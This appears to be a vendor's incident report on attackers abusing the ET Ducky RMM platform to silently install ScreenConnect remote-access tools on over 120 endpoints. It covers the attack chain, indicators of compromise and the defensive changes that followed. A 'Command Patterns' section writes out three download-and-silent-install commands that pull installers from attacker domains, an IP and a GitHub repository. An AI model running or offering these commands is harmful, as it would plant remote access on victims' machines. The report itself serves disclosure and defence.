How We Detected and Stopped a Coordinated RMM Abuse Campaign in 12 Hours
Threat actors signed up for our platform, deployed agents to victim machines, and weaponized our remote shell to install ScreenConnect RATs across 120+ endpoints. Here's the full technical breakdown.
What happened
In late March 2026, multiple threat actors created accounts on the ET Ducky platform and used it as a command-and-control channel to deploy ScreenConnect (ConnectWise Control) remote access tools onto endpoints.
The attackers used the platform's documented features. They created organizations, deployed agents with registration tokens, and executed commands through the authenticated remote shell. The payloads were silent ScreenConnect installers served from attacker-controlled infrastructure.
The campaign reached over 120 unique Windows endpoints across 7 organizations before detection.
120+ endpoints received ScreenConnect RAT installations. The ET Ducky EV code signing certificate was revoked by the issuing CA. The installer binary was submitted to MalwareBazaar as a malware sample. No customer data was exfiltrated through the platform. Affected endpoints should be inspected for unauthorized ScreenConnect installations.
Discovery
SSL.com revoked the ET Ducky EV code signing certificate, citing suspicious signing activity. Subsequent investigation traced the issue to a coordinated campaign in which the signed agent was being deployed to machines the threat actors did not own. The signed binary was the delivery vehicle; the remote shell was the payload mechanism.
From first suspicion to full containment took approximately 12 hours.
Attack chain
The attackers used an automated pipeline that required minimal ongoing interaction after initial setup:
Step 3 enabled scaling. Combining the automation engine with the remote shell produced a one-time-setup pipeline that triggered on every subsequent agent enrollment. Automation-executed commands were attributed to the "system" identity rather than to the configuring user.
Indicators of compromise
The following IOCs are published for use by other RMM vendors and security teams.
Malicious Domains
Command & Control IPs
Malware Distribution
The GitHub repository hosted ScreenConnect MSI files disguised as software patches. The C2 IPs all geolocated to the Netherlands and Germany, serving ScreenConnect MSI installers on port 8040. The .top domains served ScreenConnect EXE installers directly.
Command Patterns
Three distinct delivery methods were observed:
# Pattern 1: Direct download from .top domains
$installer="$env:TEMP\sc.exe"
Invoke-WebRequest "https://[domain].top/Bin/ScreenConnect.ClientSetup.exe" -OutFile $installer
Start-Process $installer -ArgumentList "/S"
# Pattern 2: MSI install from raw IP
Start-Process "msiexec.exe" -ArgumentList "/i http://[IP]:8040/Bin/ScreenConnect.ClientSetup.msi /quiet /norestart" -Wait
# Pattern 3: MSI download from fake GitHub repo
curl.exe -L "https://github.com/cloverassets60-cmd/gbasgbos/releases/download/[version]/ScreenConnect.ClientSetup-12.msi" -o "C:\Temp\patch.msi"
msiexec.exe /i "C:\Temp\patch.msi" /qn /norestartDetection & Containment Timeline
The "system" attribution behavior
Shell commands executed through an interactive session were attributed to the authenticated user. Scripts executed by the automation engine ran without a user identity attached and were attributed to "system" in command logs.
The attackers configured automation rules that triggered on new agent enrollment. Each agent registration caused the automation engine to execute the configured script. The resulting installations carried no direct user attribution.
This attribution gap exists in any platform that combines an automation engine with remote execution when the automation runs outside a user identity context.
Response changes
Every shell command (whether from interactive sessions, ad-hoc execution, or automation scripts) now passes through a multi-layer validation engine before reaching any agent.
30+ regex patterns that instantly reject known attack patterns, including download-and-execute chains, remote MSI installations, known RAT installers, credential theft tools, anti-forensics utilities, and PowerShell obfuscation.
20+ behavioral indicators scored with weighted values. Commands accumulate risk points across multiple behavioral indicators. Commands exceeding the block threshold are rejected even if no single blocklist pattern matches.
Per-user, per-organization rate limits prevent mass deployment scripts from executing even if individual commands pass validation.
Every command validation decision is logged with the risk score, matched patterns, category, and command preview, regardless of whether it was allowed or blocked.
Agent registration and installer downloads are now restricted to North America. All three C2 IP addresses in this campaign geolocated to the Netherlands and Germany. The geo block would have stopped the attack at the registration step.
The command security engine syncs with multiple threat intelligence feeds covering tens of thousands of malicious domains and C2 IPs. Every command is checked against the blocklist before execution. A confirmed match against a known malicious indicator triggers automated response.
Every blocked command now triggers an automated investigation pipeline. It gathers the full command history for the threat actor, all affected agents and organizations, extracted IOCs, account details, and a complete audit trail of automated response actions taken.
Investigations produce a structured spreadsheet report covering the command timeline with source IPs, blocked commands with matched patterns, affected agents, IOC list, related users, and raw security logs. Reports are automatically uploaded to a secured cloud storage repository organized by week.
Context
The same pattern (legitimate tool, authenticated access, silent payload delivery) was used in the 2021 Kaseya VSA attack and has been documented as a vector used by ransomware groups targeting managed service providers.
The campaign exploited four properties of the platform.
Remote shell without per-command filtering. Authenticated users with shell access could execute arbitrary commands on every agent in their organization without server-side validation of the command content.
Automation engine attribution. Scripts executed by automation rules ran outside the configuring user's identity context. One-time configuration of an automation rule produced execution on every subsequent agent registration without per-execution attribution.
EV code signing trust scope. The signed agent bypassed endpoint protection on installation. Once installed, the agent's remote-shell capability was available to whichever account in the platform owned the registration token.
Anonymous signup. Accounts in this campaign were created with no name or email. Identity verification was not required to access remote execution, automation, or bulk deployment features.
April follow-on campaign
In early April 2026, two separate threat actors created new accounts on the platform. Both were identified within hours of their first blocked command.
Attack 1 (org: dataltd). The threat actor ran reconnaissance commands (whoami, tracert, route print), searched for TightVNC installations, and attempted to download a payload from helpsvip.com. The download succeeded on one endpoint (DESKTOP-40VSTP0), depositing a file at C:\sheets.zip. Subsequent download attempts on other agents were blocked. A second dropper from incppl.com was also attempted and blocked.
Attack 2 (org: alexa). A different threat actor deployed Action1 RMM to one endpoint on April 2nd, then returned on April 4th with a Base64-encoded PowerShell command to silently install ScreenConnect from stamsh.online:8443. The encoded command used an obfuscation technique that bypassed an existing detection pattern. The pattern was updated subsequently.
Both accounts were banned. All agents in the affected organizations were deactivated. Pending commands were cancelled. The automated investigation pipeline generated forensic reports for both incidents and uploaded them to secured cloud storage.
DESKTOP-40VSTP0 (dataltd org) received a payload at C:\sheets.zip from helpsvip.com before the command was blocked on subsequent attempts. This endpoint should be treated as compromised and inspected for unauthorized software and persistence mechanisms.
Identified malicious accounts have been suspended. The command security service is deployed. The EV code signing certificate has been reinstated. The installer has been rebuilt with a new hash. Affected organizations have been notified. The malicious GitHub repository and MalwareBazaar listing have been reported.
Changes since this incident (May 2026)
Two platform changes have shipped since the March 2026 campaign that affect how this kind of campaign would surface today.
Cross-platform behavioral rule engine. The agent runs a behavioral-security rule engine that subscribes to the same kernel-event stream as the diagnostic pipeline (ETW on Windows, eBPF on Linux). Ten rules currently ship, plus two cloud-side fleet-analytics rules. The shell-as-C2 pattern used in this campaign (commodity reverse-shell payload spawning a downloader chain) matches three of those rules, suspicious-exec-chain (a shell launching a downloader that spawns another shell within 30 seconds), reverse-shell-heuristic (a shell exec correlated with a recent network event in the same process tree), and unusual-outbound-from-system-daemon (a system daemon connecting to a port outside its expected outbound list). Detections push to the dashboard within seconds of the agent observing the pattern, with triggering events attached as evidence.
Operator-driven privilege elevation on Linux. The Linux agent runs as an unprivileged user. When the AI generates a privileged command, the dashboard prompts the operator for the host's sudo password and the agent runs the command via sudo -S with the password supplied on the authenticated channel. Each elevation produces an audit row recording the operator's identity, source IP, command summary, and exit code. A compromise of the agent's service account does not grant root on the host. A planned Windows equivalent uses a UAC-style consent flow for PowerShell-elevated commands.
Neither change closes the original abuse vector. An attacker who signs up, deploys agents to victim machines, and authenticates from a dashboard session can still issue commands. The rule engine and the elevation flow change which commands trigger detections and which identity is recorded in the audit row.
ET Ducky security
For questions about this incident or about ET Ducky's security posture, contact support@etducky.com.
Contact security